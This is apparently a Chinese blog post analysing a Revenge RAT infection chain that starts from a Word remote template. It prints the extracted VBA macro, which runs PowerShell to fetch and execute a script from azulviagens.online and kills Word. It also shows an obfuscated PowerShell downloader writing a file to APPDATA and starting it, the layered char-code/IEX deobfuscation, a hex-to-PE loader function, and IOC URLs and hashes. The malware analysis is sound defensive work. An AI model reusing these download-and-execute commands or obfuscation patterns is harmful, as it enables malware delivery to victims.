Revenge RAT加载器分析(word远程模板加载)
参考链接:https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america
VT查杀
初始文件
方式:office vba远程模板加载
随机加载http://azulviagens.online/1-9.docx将下载并执行其中一个模板。
每个文件都具有相同的内容(相同的SHA-256:338b2d8d76f4028bfbd177127371b2509971606553d606c534316dc40cfa8fb9)
模板文件
模板文件(“ 1.docx” …“ 9x.docx”)遵循图4(如下所示)所示的结构。结构中的settings.xml具有指向XLSM文件的“目标”字段,该字段位于DOCX文件结构的“嵌入”目录中。XLSM文件“ Microsoft_Excel_Macro-Enabled_Worksheet.xlsm”到“ Microsoft_Excel_Macro-Enabled_Worksheet9.xlsm”具有相同的内容(相同的SHA-256:32f1a502126b1932e1def04b98d8be235c8d25ef7268f8cb35d460cd073a88b2)。当Microsoft Word执行模板文件(“ 1.docx” …“ 9x.docx”)时,它将执行XLSM文件之一(“ Microsoft_Excel_Macro-Enabled_Worksheet.xlsm”到“ Microsoft_Excel_Macro-Enabled_Worksheet9.xlsm”)
docx模板中的XLSM文件
word/embeddings目录下任意一个xlsm文件
xlsm文件
该结构在“ VBAProject.bin”文件中包含宏。以下屏幕快照显示了包含宏的流。olevba提取宏
Dim Program As String, TaskID As Double
Program = UserForm1.Image1.ControlTipText + UserForm1.Frame1.Tag + UserForm1.TabStrip1.ControlTipText + UserForm1.ScrollBar1.Tag
Program01 = UserForm2.Image1.Tag + UserForm2.Frame1.ControlTipText
On Error Resume Next
AppActivate "UserForm1"
If Err <> 0 Then
Err = 0
TaskID = Shell(Program, 0) //PowerShell -ex Bypass -nOp -w 1 iex(iwr('http://azulviagens.online/A.txt'))
TaskID01 = Shell(Program01, 0) //taskkill /f /im WINWORD.EXE
If Err <> 0 Then MsgBox "Can't start " & Program
End If
End Sub
UserForm1.Image1.ControlTipText olevba没看到,由于是shell函数执行的程序。火绒剑监控得到运行的内容
(调用powershell远程下载执行)
(杀掉进程WINWORD.exe)
http://azulviagens.online/A.txt
在复现的时候已经失效了,根据原文章的图如下
$ProcName="index.vbs"
$WebFile="http://azulviagens.online/index.mp3"
C'l'e'a'r'-'H'o's't'
(N'e'W-'O'b'j'e'c't' S'y's't'e'm'.'N'e't'.'W'e'b'C'l'ient).DownloadFile($WebFile,"$env:APPDATA\$ProcName") #保存在C:\Users\<Username>\AppData\Roaming\index.vbs
S't'a'r't'-'P'r'o'c'e's's ("$env:APPDATA\$ProcName") #运行C:\Users\<Username>\AppData\Roaming\index.vbs
最后运行index.vbs然后index.vbs远程下载/1.txt保存在Opera.vbs然后运行Opera.vbs
最后是远程下载Opera.ps1并执行,ps1内容如下
重度混淆(
经过手动解密混淆,过程如下
# Decode 1
$a=iex ( [CHar]36+[CHar]101 +[CHar]107+[CHar]108+[CHar]116+ [CHar]107+[CHar]116+ [CHar]101 +[CHar]107 +[CHar]100 + [CHar]107+[CHar]113+ [CHar]106 + [CHar]102+[CHar]100+[CHar]107 +[CHar]102 + [CHar]100+[CHar]107+[CHar]102 +[CHar]107 + [CHar]100 +[CHar]102+[CHar]107 +[CHar]115+ [CHar]100 +[CHar]107+ [CHar]115 + [CHar]100 +[CHar]107+ [CHar]118 + [CHar]99 +[CHar]107 +[CHar]107+ [CHar]101 + [CHar]114 +[CHar]107+[CHar]101 + [CHar]119 + [CHar]116 + [CHar]101 + [CHar]107+ [CHar]114 + [CHar]116+ [CHar]101+[CHar]107 +[CHar]121 + [CHar]101 + [CHar]107 + [CHar]119 +[CHar]48 +[CHar]48 + [CHar]48+ [CHar]48+ [CHar]61+[CHar]45+[CHar]74 +[CHar]111+ [CHar]105+ [CHar]110 + [CHar]32+ [CHar]40 +[CHar]40+[CHar]49+ [CHar]49 +[CHar]49+[CHar]44 + [CHar]32 +[CHar]49+[CHar]48+[CHar]53+ [CHar]44+[CHar]32+[CHar]49 +[CHar]51+ [CHar]48+ [CHar]41+ [CHar]124+ [CHar]32 +[CHar]70+[CHar]111+[CHar]114 +[CHar]69+ [CHar]97 + [CHar]99 + [CHar]104 +[CHar]45+[CHar]79+ [CHar]98+ [CHar]106+[CHar]101+[CHar]99 + [CHar]116 +[CHar]32 +[CHar]123 +[CHar]40+[CHar]32+[CHar]91 + [CHar]67 +[CHar]111+ [CHar]110+[CHar]118+ [CHar]101+[CHar]114+ [CHar]116 +[CHar]93+[CHar]58 +[CHar]58+ [CHar]84 + [CHar]111+ [CHar]73 + [CHar]110+ [CHar]116+[CHar]49+ [CHar]54 +[CHar]40 +[CHar]40+[CHar]91 + [CHar]83+[CHar]116+ [CHar]114 + [CHar]105+ [CHar]110 + [CHar]103+[CHar]93+ [CHar]36+ [CHar]95+[CHar]32 + [CHar]41+ [CHar]44 + [CHar]32 + [CHar]56+ [CHar]41+[CHar]32+[CHar]45+[CHar]65 + [CHar]115+ [CHar]91+[CHar]67 +[CHar]104 + [CHar]97 +[CHar]114+[CHar]93+[CHar]41+ [CHar]125 +[CHar]41 +[CHar]59 +[CHar]115+[CHar]97 + [CHar]108+[CHar]32+ [CHar]103 + [CHar]32+ [CHar]36 +[CHar]101 + [CHar]107 +[CHar]108+ [CHar]116+ [CHar]107+[CHar]116+[CHar]101 + [CHar]107 +[CHar]100 +[CHar]107 + [CHar]113 +[CHar]106+ [CHar]102 + [CHar]100+[CHar]107 +[CHar]102 +[CHar]100+[CHar]107+[CHar]102+[CHar]107 +[CHar]100 + [CHar]102 +[CHar]107+ [CHar]115 + [CHar]100+ [CHar]107 +[CHar]115+ [CHar]100+ [CHar]107 + [CHar]118 + [CHar]99 +[CHar]107 + [CHar]107 +[CHar]101 + [CHar]114 + [CHar]107+ [CHar]101+ [CHar]119+ [CHar]116+[CHar]101+ [CHar]107 + [CHar]114 + [CHar]116+ [CHar]101 +[CHar]107 +[CHar]121 +[CHar]101 + [CHar]107 + [CHar]119+[CHar]48 +[CHar]48+ [CHar]48+[CHar]48 )
# Decode 2
$ekltktekdkqjfdkfdkfkdfksdksdkvckkerkewtekrtekyekw0000=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal g $ekltktekdkqjfdkfdkfkdfksdksdkvckkerkewtekrtekyekw0000 #sal为set-alias变量缩写
# Decode 3
iex( [CHar]70+ [CHar]117 + [CHar]110 + [CHar]99+ [CHar]116+ [CHar]105 + [CHar]111+ [CHar]110 + [CHar]32 + [CHar]109+ [CHar]97+ [CHar]120+[CHar]100 +[CHar]111+[CHar]111 +[CHar]111 +[CHar]109 +[CHar]32+ [CHar]123+[CHar]13 +[CHar]10+[CHar]32+ [CHar]13+ [CHar]10 +[CHar]32 +[CHar]32+ [CHar]32+[CHar]32 + [CHar]91 + [CHar]67+ [CHar]109 +[CHar]100+[CHar]108+ [CHar]101 + [CHar]116+[CHar]66+[CHar]105+ [CHar]110 +[CHar]100 +[CHar]105+ [CHar]110 + [CHar]103 + [CHar]40 +[CHar]41 + [CHar]93+ [CHar]13 + [CHar]10 +[CHar]32+ [CHar]32 + [CHar]32 + [CHar]32 +[CHar]91 +[CHar]79 +[CHar]117 +[CHar]116+ [CHar]112 +[CHar]117 +[CHar]116 + [CHar]84+ [CHar]121+ [CHar]112+[CHar]101+ [CHar]40+ [CHar]91 +[CHar]98+ [CHar]121 + [CHar]116+[CHar]101+[CHar]91 + [CHar]93+[CHar]93 +[CHar]41+ [CHar]93 +[CHar]13 + [CHar]10+ [CHar]32+ [CHar]32+ [CHar]32 + [CHar]32 +[CHar]112+[CHar]97 +[CHar]114 +[CHar]97 +[CHar]109 +[CHar]40 + [CHar]13 + [CHar]10 + [CHar]32+ [CHar]32+ [CHar]32+ [CHar]32+[CHar]32 +[CHar]32+[CHar]32 +[CHar]32 + [CHar]91 + [CHar]80+[CHar]97+ [CHar]114 + [CHar]97 +[CHar]109+[CHar]101+ [CHar]116 +[CHar]101 + [CHar]114+ [CHar]40+[CHar]77+ [CHar]97 +[CHar]110 +[CHar]100+ [CHar]97+[CHar]116 +[CHar]111 + [CHar]114 +[CHar]121 +[CHar]61+[CHar]36+ [CHar]116+ [CHar]114+[CHar]117+[CHar]101 + [CHar]41+[CHar]93 +[CHar]32 + [CHar]91+ [CHar]83 + [CHar]116 +[CHar]114+[CHar]105 +[CHar]110+[CHar]103 + [CHar]93+ [CHar]36+[CHar]122+ [CHar]88+[CHar]97+[CHar]87 + [CHar]86 + [CHar]80+[CHar]105+ [CHar]13 +[CHar]10 + [CHar]32 + [CHar]32 + [CHar]32+ [CHar]32+ [CHar]41+[CHar]13 +[CHar]10 +[CHar]32+[CHar]32 + [CHar]32+[CHar]32 +[CHar]36+[CHar]72+[CHar]116 +[CHar]116+[CHar]108 +[CHar]100+ [CHar]120 +[CHar]120 + [CHar]49+ [CHar]115+ [CHar]49+ [CHar]115 +[CHar]51 + [CHar]100+ [CHar]52 + [CHar]102 + [CHar]53+[CHar]118+ [CHar]53 + [CHar]32 + [CHar]61+[CHar]32 + [CHar]78 + [CHar]101 +[CHar]119 +[CHar]45+ [CHar]79 + [CHar]98 + [CHar]106 +[CHar]101 + [CHar]99 +[CHar]116+ [CHar]32+[CHar]45+[CHar]84+ [CHar]121 +[CHar]112 + [CHar]101 + [CHar]78 + [CHar]97+[CHar]109+ [CHar]101+ [CHar]32 +[CHar]98+[CHar]121+[CHar]116+[CHar]101+[CHar]91+[CHar]93 + [CHar]32 +[CHar]45 + [CHar]65 +[CHar]114+ [CHar]103+[CHar]117+ [CHar]109 + [CHar]101+[CHar]110 + [CHar]116+[CHar]76 +[CHar]105+[CHar]115+[CHar]116 +[CHar]32+[CHar]40 + [CHar]36 +[CHar]122 +[CHar]88+ [CHar]97 + [CHar]87+[CHar]86+ [CHar]80+ [CHar]105+ [CHar]46 +[CHar]76 + [CHar]101+[CHar]110+ [CHar]103 +[CHar]116+ [CHar]104 + [CHar]32 +[CHar]47 + [CHar]32+ [CHar]50+ [CHar]41 + [CHar]13 + [CHar]10+ [CHar]32 +[CHar]32+[CHar]32 +[CHar]32+ [CHar]102+ [CHar]111 + [CHar]114 +[CHar]32+ [CHar]40+[CHar]36 +[CHar]105 +[CHar]32 + [CHar]61 +[CHar]32 + [CHar]48 + [CHar]59 +[CHar]32+ [CHar]36 + [CHar]105 +[CHar]32+ [CHar]45+[CHar]108+[CHar]116 +[CHar]32 + [CHar]36+[CHar]122+ [CHar]88 + [CHar]97 + [CHar]87+ [CHar]86+ [CHar]80 + [CHar]105+ [CHar]46 +[CHar]76 + [CHar]101 +[CHar]110 +[CHar]103 +[CHar]116 +[CHar]104+[CHar]59+ [CHar]32+ [CHar]36+ [CHar]105+ [CHar]32+[CHar]43 +[CHar]61+[CHar]32 +[CHar]50 + [CHar]41 +[CHar]32+[CHar]123+ [CHar]13 +[CHar]10+ [CHar]32 + [CHar]32+[CHar]32+[CHar]32 +[CHar]32 +[CHar]32 + [CHar]32 + [CHar]32 +[CHar]36 + [CHar]72+[CHar]116+[CHar]116 +[CHar]108+ [CHar]100+ [CHar]120+ [CHar]120 +[CHar]49+ [CHar]115+ [CHar]49 +[CHar]115+ [CHar]51 + [CHar]100+ [CHar]52+[CHar]102 +[CHar]53+ [CHar]118+[CHar]53 + [CHar]91+[CHar]36 + [CHar]105+ [CHar]32+ [CHar]47 +[CHar]32+[CHar]50 +[CHar]93 +[CHar]32+ [CHar]61+[CHar]32+[CHar]91 +[CHar]67+ [CHar]111+ [CHar]110 +[CHar]118 + [CHar]101+[CHar]114+[CHar]116+[CHar]93 + [CHar]58+[CHar]58 + [CHar]84 + [CHar]111 +[CHar]66+[CHar]121 +[CHar]116+[CHar]101+[CHar]40+ [CHar]36 + [CHar]122 + [CHar]88 +[CHar]97 +[CHar]87+ [CHar]86 + [CHar]80+[CHar]105+[CHar]46 + [CHar]83+ [CHar]117 + [CHar]98 +[CHar]115 +[CHar]116 + [CHar]114+ [CHar]105 +[CHar]110 +[CHar]103 + [CHar]40+ [CHar]36 + [CHar]105 +[CHar]44+ [CHar]32 +[CHar]50+ [CHar]41+[CHar]44 +[CHar]32 + [CHar]49 +[CHar]54 +[CHar]41+ [CHar]13 +[CHar]10 +[CHar]32 + [CHar]32+[CHar]32+[CHar]32 + [CHar]125 +[CHar]13+ [CHar]10 + [CHar]13+ [CHar]10+ [CHar]32 + [CHar]32+[CHar]32 +[CHar]32 +[CHar]114 + [CHar]101 +[CHar]116+ [CHar]117+[CHar]114+ [CHar]110+[CHar]32+ [CHar]91+ [CHar]98+ [CHar]121 +[CHar]116+ [CHar]101+[CHar]91 +[CHar]93+ [CHar]93 + [CHar]36+[CHar]72+[CHar]116 + [CHar]116+ [CHar]108+[CHar]100+[CHar]120 +[CHar]120+[CHar]49+ [CHar]115+ [CHar]49 +[CHar]115+[CHar]51+ [CHar]100+ [CHar]52+ [CHar]102+ [CHar]53+ [CHar]118+ [CHar]53+[CHar]13 +[CHar]10 + [CHar]125 )
# Decode 4
Function maxdooom {
[CmdletBinding()]
[OutputType([byte[]])]
param(
[Parameter(Mandatory=$true)] [String]$zXaWVPi
)
$Httldxx1s1s3d4f5v5 = New-Object -TypeName byte[] -ArgumentList ($zXaWVPi.Length / 2)
for ($i = 0; $i -lt $zXaWVPi.Length; $i += 2) {
$Httldxx1s1s3d4f5v5[$i / 2] = [Convert]::ToByte($zXaWVPi.Substring($i, 2), 16)
}
return [byte[]]$Httldxx1s1s3d4f5v5
}
${\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`} -> IEX
${!!!} -> IEX
&( ([sTRIng]$vERbOsepreFERENcE)[1,3]+'x'-jOIN'') -> IEX
第一行的混淆最终结果是这样的
第四行混淆
第七行混淆
最终解密得到后的ps1
sal g $ekltktekdkqjfdkfdkfkdfksdksdkvckkerkewtekrtekyekw0000
[String]$CXCXxcxsderrewrttyrghbvvbc="<BIN_HEX>"
Function maxdooom {
[CmdletBinding()]
[OutputType([byte[]])]
param(
[Parameter(Mandatory=$true)] [String]$zXaWVPi
)
$Httldxx1s1s3d4f5v5 = New-Object -TypeName byte[] -ArgumentList ($zXaWVPi.Length / 2)
for ($i = 0; $i -lt $zXaWVPi.Length; $i += 2) {
$Httldxx1s1s3d4f5v5[$i / 2] = [Convert]::ToByte($zXaWVPi.Substring($i, 2), 16)
}
return [byte[]]$Httldxx1s1s3d4f5v5
}
[String]$Cmder2021="<BIN_HEX>"
.NET文件
$CXCXxcxsderrewrttyrghbvvbc变量存的PE是Revenge RAT,上次就分析过这里了略过,分析链接:https://422926799.github.io/posts/43591be7.html
$Cmder2021变量里的存的PE则是读取资源文件内存加载
资源文件
URLS
http://azulviagens.online
Cdtpitbull.hopto.org
HASHES
Initial attack document
91611ac2268d9bf7b7cb2e71976c630f6b4bfdbb68774420bf01fd1493ed28c7
Initial attack document
77d6651de47bff4c24fc26fa018ea648b0e14e276e8240fae6b1724b8638c46a
1.docx(template)
338b2d8d76f4028bfbd177127371b2509971606553d606c534316dc40cfa8fb9
Microsoft_Excel_Macro-Enabled_Worksheet.xlsm
32f1a502126b1932e1def04b98d8be235c8d25ef7268f8cb35d460cd073a88b2
A.txt
4b65e5785692950f8100b22f2827d65ba93e99dd717eb444af035e96fcd84763
opera.ps1
03f5ff9b6a6b24f76799cc15fe3f1fbf1ca9d6dda30a4154125ed5dd5834290c
Revenge RAT
73f113a6146224c4a1f92f89055922a28322787c108e30000a0a420fa46ed9e2
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Revenge RAT加载器分析(word远程模板加载)
本文作者:九世
发布时间:2021-05-15, 16:27:48
最后更新:2021-05-15, 16:42:36
原始链接:http://jiushill.github.io/posts/ac1cf40.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。